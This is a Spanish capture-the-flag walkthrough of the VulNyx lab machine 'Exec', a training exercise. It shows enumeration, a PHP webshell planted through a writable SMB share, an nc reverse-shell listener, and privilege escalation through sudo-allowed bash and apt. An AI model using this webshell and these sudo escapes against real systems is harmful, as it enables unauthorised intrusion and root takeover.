VulNyx | Exec (Walkthrough)

4 min readApr 20, 2024

Exec es una máquina Linux de dificultad baja de la plataforma VulNyx, creada por s3cur4 y funciona correctamente en VirtualBox.

Skills:

SMB Enumeration
Remote Code Execution (RCE)
Misconfigured
Sudo

Nmap

❯ nmap -n -Pn -sS -p- --min-rate="5000" 192.168.1.74

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-20 11:41 CEST
Nmap scan report for 192.168.1.74
Host is up (0.00019s latency).
Not shown: 65531 closed tcp ports (reset)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 08:00:27:DF:32:61 (Oracle VirtualBox virtual NIC)

❯ nmap -sVC -p22,80,139,445 192.168.1.74

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-20 11:41 CEST
Nmap scan report for 192.168.1.74
Host is up (0.00048s latency).

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_  256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
80/tcp  open  http        Apache httpd 2.4.57 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.57 (Debian)
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
MAC Address: 08:00:27:DF:32:61 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_clock-skew: -2s
|_nbstat: NetBIOS name: EXEC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-time: 
|   date: 2024-04-20T09:42:09
|_  start_date: N/A

22 ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
80 http Apache httpd 2.4.57 ((Debian))
139 netbios-ssn Samba smbd 4.6.2
445 netbios-ssn Samba smbd 4.6.2

Port: 80 (HTTP)

realizo fuzzing en busca de posibles rutas/archivos sin éxito

❯ gobuster dir -w /opt/directory-list-2.3-medium.txt -u 'http://192.168.1.74/' -x 'html,txt,php'

/server-status        (Status: 403) [Size: 277]

Port: 445 (SMB)

Enum Shares (Guest)

encuentro el recurso server con permisos READ/WRITE

❯ smbclient -NL 192.168.1.74
 Sharename       Type      Comment
 ---------       ----      -------
 print$          Disk      Printer Drivers
 server          Disk      Developer Directory
 IPC$            IPC       IPC Service (Samba 4.17.12-Debian)
 nobody          Disk      Home Directories


❯ smbmap --no-banner -H 192.168.1.74
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)                                
                                                                                                    
[+] IP: 192.168.1.74:445 Name: 192.168.1.74         Status: Authenticated
 Disk                                                   Permissions Comment
 ----                                                   ----------- -------
 print$                                             NO ACCESS Printer Drivers
 server                                             READ, WRITE Developer Directory
 IPC$                                               NO ACCESS IPC Service (Samba 4.17.12-Debian)
 nobody                                             NO ACCESS Home Directories

dentro de server existe un index.html, por lo que se puede suponer que el directorio de samba es el mismo que el del servidor HTTP

❯ smbclient //192.168.1.74/server
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Apr 20 11:50:36 2024
  ..                                  D        0  Mon Apr 15 10:04:12 2024
  index.html                          N    10701  Mon Apr 15 10:04:31 2024

subo con PUT una webshell con código PHP y obtengo éxito

❯ echo -n '<?php system($_GET["cmd"]); ?>' > cmd.php

❯ smbclient //192.168.1.74/server
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> put cmd.php
putting file cmd.php as \cmd.php (14.6 kb/s) (average 14.6 kb/s)

consigo ejecutar comandos como usuario www-data

ya ejecutando comandos intento obtener una reverse shell

obtengo la shell como www-data

❯ nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.67] from (UNKNOWN) [192.168.1.74] 51898
id;hostname
uid=33(www-data) gid=33(www-data) groups=33(www-data)
exec

User Pivoting (www-data > s3cur4)

www-data puede ejecutar como s3cur4 el binario bash con sudo

www-data@exec:/$ sudo -l
Matching Defaults entries for www-data on exec:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User www-data may run the following commands on exec:
    (s3cur4) NOPASSWD: /usr/bin/bash

me convierto en usuario s3cur4 abusando del privilegio

www-data@exec:/$ sudo -u s3cur4 /usr/bin/bash -i
s3cur4@exec:/$ id
uid=1000(s3cur4) gid=1000(s3cur4) groups=1000(s3cur4)

Privilege Escalation

s3cur4 puede ejecutar como root el binario apt con sudo

s3cur4@exec:~$ sudo -l
Matching Defaults entries for s3cur4 on exec:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User s3cur4 may run the following commands on exec:
    (root) NOPASSWD: /usr/bin/apt

en GTFOBins nos dan el one liner para escapar una shell

https://gtfobins.github.io/gtfobins/apt/

me convierto en usuario root abusando del privilegio

s3cur4@exec:~$ sudo -u root /usr/bin/apt changelog apt

root@exec:~# id
uid=0(root) gid=0(root) groups=0(root)

ya como usuario root puedo leer las flags user.txt y root.txt

root@exec:~# find / -name user.txt -o -name root.txt |xargs cat
97d8add*************************
45e398c*************************

hasta aquí la máquina Exec.

Happy Hacking!